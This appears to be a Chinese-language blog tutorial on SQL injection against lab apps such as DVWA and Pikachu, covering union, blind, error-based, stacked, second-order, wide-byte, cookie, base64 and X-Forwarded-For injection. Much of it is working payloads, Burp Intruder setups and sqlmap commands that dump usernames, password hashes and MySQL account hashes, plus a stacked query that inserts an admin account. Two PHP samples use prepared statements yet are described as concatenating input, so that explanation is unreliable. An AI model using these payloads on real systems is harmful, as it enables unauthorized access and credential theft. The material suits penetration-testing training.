SQL注入详解

2021/11/26 网络安全

SQL注入的几种方式详解

1、union联合注入原理

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。

假设服务端代码如下

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看出获取id之后直接拼接进入了SQL语句中,此处会有sql注入漏洞。

确定了有漏洞然后就可以根据思路去猜字段,可以通过order by来猜有几个字段,两个表的字段要数要相同,不然会出现报错。

SELECT * FROM `users` WHERE user_id = 1 order by 8 

猜到了有几个字段可以进行以下查询

SELECT * FROM `users` WHERE user_id = 1 union select 1,2,3,4,5,6,7,8 
# 可以在数字的位置替换成函数
SELECT * FROM `users` WHERE user_id = 1 union select 1,2,3,4,5,6,database(),user()
# 如果不想显示user_id=1的数据,可以修改成-1或者NULL,就只显示后面的内容了
SELECT * FROM `users` WHERE user_id = -1 union select 1,2,3,4,5,6,database(),user()
# 有很多条结果的时候可以加 limit 来限制

1.1 联合查询注入获取敏感信息

当确定了可以进行SQL注入的时候,可以通过一些内置函数来获取数据库的信息

SELECT * FROM `guestbook` WHERE user_id = -1 union select 1,database(),user();

1.2 联合查询注入通过 information_schema 获取表

在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的information_schema 查询当前库的表。查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个如此类推

# 有请求连接如下,已知可以字符注入 /sqli/?id=1&Submit=Submit

# 构造语句 获取当前位置的第一个表
/sqli/?id=-1' union select 1, (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1) --+&Submit=Submit#

# 获取第二个表
/sqli/?id=-1' union select 1, (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1 ) --+&Submit=Submit#

# 获取字段,可以通过修改limit 获取不同的字段
((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1))

# 查到字段之后,读取表内的内容
/sqli/?id=-1' union select 1,(select group_concat(user,0x3a,password) from users) --+&Submit=Submit#

2、boolean 布尔型盲注入

有服务端代码如下

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

根据代码可以看出来,虽然有sql注入漏洞,但是没有返回具体的数据库的信息,只返回了两种状态,这种叫盲注入

盲注入分为两种:

  1. 布尔型盲注入
  2. 延时注入

2.1 判断盲注入

入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注入漏洞 1'and '1'='1 一样, 1'and '1'='2 不一样,如果输入检测语句页面没有任何改变可以使用延时语句进行检测 1'and sleep(10)--+ 通过这两个检测方法的判断,可以确定存在 SQL 注入漏洞。

普通盲注入判断:

# 有以下两个注入语句
/sqli_blind/?id=1' and 1=1 -- &Submit=Submit#    #返回User ID exists in the database.
/sqli_blind/?id=1' and 1=2 -- &Submit=Submit#    #返回User ID is MISSING from the database.

延时注入判断:

sqli_blind/?id=1' and sleep(2) -- &Submit=Submit#

2.2 布尔型注入

布尔型注入攻击,因为页面不会返回任何数据库内容,所以不能使用联合查询将敏感信息显示在页面,但是可以通过构造 SQL 语句,获取数据。

布尔型盲注入用到得 SQL 语句 select if(1=1,1,0),if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构造的 SQL 攻击语句。

# 构建url
sqli_blind/?id=1' and if(3>2,1,0) -- 

2.3 布尔型盲注入获取敏感信息

在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。

布尔型盲注入用到的函数SUBSTRING():字符串截取,第一个参数是字符串,第二个参数是开始截取 第三个是截取的长度。

select database()查询当前库。

盲注入获取库名流程:

  1. 用 if 函数进行构造 select if(SUBSTRING(database(),1,1)=’d’,1,0) 判断数据库第一个字是不是字符 d,如果是返回 1 否则返回 0 。
  2. 接着判断第二个字符。将 substring 第二个参数写成 2 因为要截取第二个字符 select if(SUBSTRING(database(),2,1)=’v’,1,0) 第二个字符为 v。如此类推。再后拼接字符就是完整的库名

很多时候是黑盒模式,不知道库名,也不知道啥的,我们就要首先判断注入,判断完注入就获取数据库的长度,得到长度再查询库名,通过库名再查询表,接着通过表查询字段,最后查询某表指定的数据。

2.4 布尔型盲注入查询长度

要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。

构造注入语句

# 盲猜数据库名的长度是4,判断输出是1还是0进行确认长度,可能需要多次尝试才可以试出来
sqli_blind/?id=1' and if(length(database())=4,1,0)--+&Submit=Submit#

知道了库名的长度是4,截取每个字符再进行判断

# 截取字符判断
1' and if(substring(database(),1,1)='a',1,0)--+
1' and if(substring(database(),1,1)='d',1,0)--+

1' and if(substring(database(),2,1)='v',1,0)--+
...
#... 疯狂尝试

每次截取的值都要与这些字符0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_对比,进行判断,最后得到库名。

手动注入这么多次累死了,可以配合burp suite进行抓包检测

burp suite进行sql注入流程:

  1. 抓到数据包发送到intruder
  2. 清除掉所有变量之后,添加变量,如下:?id=1%27%20and%20if(substring(database(),§1§,1)=%27§v§%27,1,0)--+&Submit=Submit,选择attack type=cluster bomb
  3. 第一个变量知道长度是4,所以设置payload type=Numbers,设置payload options[Numbers]的number range为1~4,每次递增1,number format设置为Hex
  4. 第二个变量就是上面的那一串字符串,可以通过add from list选择a-z/A-Z/0-9最后再把.@_依次添加进去,MySQL大小写不敏感,可以不添加大写的A-Z
  5. 执行攻击,通过状态200的排序查看,可以获得以下数据4:a/1:d/2:v/3:w,通过1-4的顺序,组合出库名为dvwa

2.5 布尔型盲注配合burp suite获取表名

获取表名的sql语句大概如下:

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()

构建出攻击判断语句如下:

1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+

不知道长度,所以需要设置一个比较大的值,比如40

然后根据上面配置burp suite的方法攻击获得表名guestbook

获取第二个表

1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),1,1)='g',1,0)--+

第二个表为users

获取多个表就把limit §1§,1这个地方设置为变量

ps:limit是从0开始算的,获取第一个就是limit 0, 1:从第0个位置截取1个,就是获取第一个。

2.6 布尔型盲注配合burp suite获取列

和上面的获取方法类似,我们获取到表名为guestbook,构建攻击语句

1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='guestbook' limit 1,1),1,1)='a',1,0)--+

获得第二个列名为comment

ps:因为information_schema会有所有库的内容,所以最好加一个条件限制到当前库and TABLE_SCHEMA=database(),否则可能会读取到其他库的同样表名的列

1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 1,1),1,1)='a',1,0)--+

想要获取全部的列,把limit 1,1也换成变量然后配置即可limit §1§, 1

2.7 布尔型盲注配合burp suite获取数据

知道库名、表名、列名之后获取数据就很简单了,构建语句如下:

1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)--+

0x3a:的意思,在匹配的时候规则里最好加个:进去,不加也行,就是不好区分账户和密码在哪里分割的

这里因为密码不知道是明文密码还是其他加密方式的密码,长度不确定,所以第一个字段的长度最好给大点,比如100,不够再加。

burpsuite的排序是有点问题的,会出现1/10/11/2这种排序问题,可以保存到文本里,用脚本跑一下排个序就好了

3、报错注入

数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息。

例如:

  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1

程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。

代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

如上代码当数据库操作失败的时候,会执行mysqli_error/mysqli_connect_error(),这俩函数会把错误信息显示到前端。

3.1 报错注入攻击

判断是否存在报错注入 输入单引号 如果报错有可能存在报错注入,如果拼接SQL 语句带入到 mysql 执行即存在报错注入。

例如:

-- 输入 1'and info()--+ 显示当前库,原理是
SELECT first_name, last_name FROM users WHERE user_id = '1' and info()--
-- 会报错显示当前库不存在这个函数 这样当前库名就显示在页面上。
-- FUNCTION dvwa.info does not exist

3.2 报错注入获取数据库敏感信息

输入构造的攻击语句 页面返回数据库信息

sqli/?id=1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

# 返回:XPATH syntax error: '~root@localhost~'

替换user()方法,可以获取不同的信息,比如version()/database()

但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。

  1. floor():select * from test where id=1 and (select 1 from (select count(), concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
  2. extractvalue():select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  3. updatexml():select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  4. geometrycollection():select * from test where id=1 and geometrycollection((select * from(select *from(select user())a)b));
  5. multipoint():select * from test where id=1 and multipoint((select * from (select * from(select user())a)b));
  6. polygon():select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  7. multipolygon():select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  8. linestring():select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  9. multilinestring():select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  10. exp():select * from test where id=1 and exp(~(select * from(select user())a));

这些方法在过一些防火墙、过一些waf的时候会用得到。

ps:0x7e是符号~的十六进制

3.3 黑盒模式下报错注入获取库名

在黑盒模式下的报错注入 首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容。

获取库名就是上面提到的

  1. 1' and info()--+
  2. 1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

3.4 报错注入获取MySQL账户和密码

获取账号和密码需要 root 用户才有足够大的权限

查询MySQL密码的语句:

select authentication_string from mysql.user limit 1;

-- 获取密码的前32位
select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))

-- 构建的语句
-- sqli/?id=1'and (updatexml(1,concat(0x7e,(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1)),0x7e),1))--+

-- 获取后几位
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))
-- 构建的语句
-- sqli/?id=1'and (updatexml(1,concat(0x7e,(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1)),0x7e),1))--+

拿到完整的数据就可以去破解了。

3.5 报错注入获取表名

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

这是获取当前库的第一个表名,如果要获取后面的,把limit 0,1改成要获取的参数就行,比如第二个limit 1, 1

如果想全部获取下来,可以去通过配合burp suite抓包然后进行爆破。配置方式和之前的一样。把limit 1,1的第一个1修改成变量,然后修改范围0~10或20递增1,然后进行爆破就好了。

抓包添加变量后的positions窗口的代码

GET /01/vulnerabilities/sqli/?id=1%27and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,table_name,0x7e)%20FROM%20information_schema.tables%20where%20table_schema=database()%20LIMIT%20§1§,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--+&Submit=Submit HTTP/1.1

3.6 报错注入获取字段名

和上面基本上一样,修改范围0~10或20递增1,比如获取users的表的字段名

burpsuite抓包=》intruder=》positions窗口的代码修改:

GET /01/vulnerabilities/sqli/?id=1%27and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,column_name,0x7e)%20FROM%20information_schema.columns%20where%20table_name=%27users%27%20LIMIT%20§0§,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--+&Submit=Submit HTTP/1.1

然后点击payloads修改payload iotions就好了

想直接显示内容还可以点击Options => Grep-extract => fetch response =》 弹出的窗口里选择'id',然后再进行攻击,攻击窗口就会直接显示获得的值

3.7 报错注入获取字段内容

知道了users表的名字和字段名,就可以获取值了

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

把想要获取的字段名,添加进去就好了,修改一下表

使用burp suite的方法也和上面一样,把limit 0, 10修改为变量,进行爆破就好了。

4、时间注入/延时注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。

在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用’and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep()if()substring()

select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。

select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于1就会延时5秒 执行。

-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。

如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。

使用sqlmap进行盲注入

sqlmap -u "http://192.168.3.16/06/vul/sqli/sqli_str.php?name=Vince&submit=%E6%9F%A5%E8%AF%A2" --technique=T -v 1 --dbms mysql

检测完结果如下:

---
Parameter: name (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=Vince' AND (SELECT 5028 FROM (SELECT(SLEEP(5)))NjzQ)-- Kpug&submit=%E6%9F%A5%E8%AF%A2
---

payload内容可以看出可以进行一次时间注入

可以通过sqlmap进行注入获取敏感信息,如库名、用户名

sqlmap -u "http://192.168.3.16/06/vul/sqli/sqli_str.php?name=Vince&submit=%E6%9F%A5%E8%AF%A2" --technique=T -v 1 --dbms mysql --current-db --current-user --batch

返回值:

[07:21:46] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[07:23:27] [INFO] fetching current database
[07:23:27] [INFO] retrieved: pikachu
current database: 'pikachu'

可以通过--technique=T -v 1 --dbms mysql --tables -D pikachu --batch获取数据库的表

获取到表之后可以通过--technique=T -v 1 --dbms mysql --columns -T users -D pikachu --batch获取users表的所有字段

获取字段之后可以获取数据--technique=T -v 1 --dbms mysql --dump -C "username,password" -T users -D pikachu --batch --threads 10

--threads 20是设置线程为10

查询出来之后,kali的sqlmap会在本地进行MD5碰撞,出结果的话明文密码也会同时展示出来。

5、堆叠注入

堆叠注入利用的是堆叠查询

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。

在 mysql 里 mysqli_multi_querymysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。

select version();select database()

堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。

堆叠注入的检测方法还是和之前的一样

 id=1' and 1=2--+ id=1' and 1=1--+

确定了可以使用堆叠语法进行检测

-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

把库里的所有表获取出来

-999' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+

知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表 直接添加管理员账号即可登录后台。

id=-999';insert into users(id,username,password) values(1000,'test','123456')--+

插入进去访问刚刚添加的账户

6、二次注入攻击

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

二次注入的原理:

  • 插入恶意数据到数据库,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但 是 addslashes 有一个特点就是虽然参数在过滤后会添加“\”进行转义,但是“\” 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
  • 引用恶意数据,在将数据存入到数据库之后,开发者就认为数据是可信的,在下一次查询的时候直接从数据中读取了恶意数据,没有进一步的校验和处理,这样就会造成sql的二次注入

ps:get_magic_quotes_gpc在php7.x之后没了,用的是addslashes

二次注入的思路:

  • 先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,然后寻找可能会带入恶意数据二次使用的地方。例如用户注册->修改密码邮箱注册->修改密码 文章添加->文章编辑。找一切存在二次使用的功能点。
  • 二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。现在注册用户 a’ 再分别注册用户 a’ and 1=1# a’ and 1=2# 再来可能触发的地方。

7、宽字节注入

宽字节注入,PHP服务在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc。

简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入

深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。

gpc 绕过过程:

%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
%df:\ 反斜杠
%27:' 单引号
`\'`就是%df%27
这俩在经过gpc或者addslashes进行处理之后就变成了%df%27,然后我们自己添加`%df`,如果数据库是GBK编码的话在数据库存储的数据就会变成`運'`,会去掉反斜杠,然后单引号还在,就变成了一个不闭合的,可以去拼接语句
\' + %df = 運'

所以:当php服务端开启了gpc或者addslashes,同时数据库编码为gbk就会存在宽字节注入问题

检测有没有宽字节注入, 输入%df%27 检测即可或者使用配合 and 1=1 检测即可

-1%df%27%20and%201=1--+ 页面是否存在乱码
-1%df%27%20or%20sleep(10)--+ 页面是否存在延时
ps: %20是空格的编码

浏览器url结构,修改连接为?id=1' 看看页面有没有变成1\'

然后修改结构为id=%df%27%23看看页面有没有变化,存在的话会变成\'

构建攻击语句:

/?id=%df%27%20union%20select%201,user(),database()%23
相当于构建了一个sql语句为:select userInfo from users where user_id = '\'' union select 1, user(), database()

%23#的编码,有些服务端--+或者--空格这两种注释会有问题,就可以使用%23来用#号进行注释

防御这个问题,数据库编码使用utf8就行了。

8、cookie注入

COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。

GET 在url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。

是否存在cookie注入需要判断是否提交submit 如果存在$cookee = $_COOKIE[‘uname’];获取值保存到$cookee 中 再拼接到 sql 带入查询,就会造成注入。

可以使用burp suite抓包,修改包的参数提交

# cookie的原来的值
Cookie:user=userCookie
# 抓包工具修改后,admin是存在的,要获取后面的值可以改为-admin
Cookie:user=-admin' union select 1,2,database()#
Cookie:user=-admin' union select 1,2,(select connat(username, passwd) from users limit 1)#

9、base64编码注入

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。

首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。如果存在类似==等,可以用 base64 解码进行测试。

存在base64的话,在传递的过程中被编码,编码了没有特殊字符,绕过了过滤函数,之后,到sql请求前解码然后如果把解码后的语句拼接到了sql语句中就会存在漏洞。

然后判断服务端是否对请求的参数代入到SQL中进行查询

原字符串 base64编码
admin’) and 1=1– YWRtaW4mIzM5OykgYW5kIDE9MS0tIA==
admin’) and 1=2– YWRtaW4mIzM5OykgYW5kIDE9Mi0tIA==

看看两次提交后返回的页面结果是否一致,不一致的话代表存在SQL注入

构建攻击语句

admin') union select 1,user()#

进行base64进行编码,抓包修改cookie,发送过去获取敏感信息。

10、xff注入攻击

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。

<?php
echo "xff---".$_SERVER['HTTP_X_FORWARDED_FOR'];
?>

使用 burpsuite X-Forwarded-for: 9.9.9.9 可以随意设置字符串,如果程序中获取这个值再带入数据库查询 会造成 SQL 注入。

除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害。

在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐患 会出现错误页面或者报错。从而导致注册或者登录用户失败。

burpsuite 抓包 提交 输入检测语句

X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样 存在 SQL 注入漏洞

获取敏感信息

X-Forwarded-for: 127.0.0.11'union select 1,2,3,user()#

输入提交包 后看到页面返回当前用户名root@loclhost

Search

    Table of Contents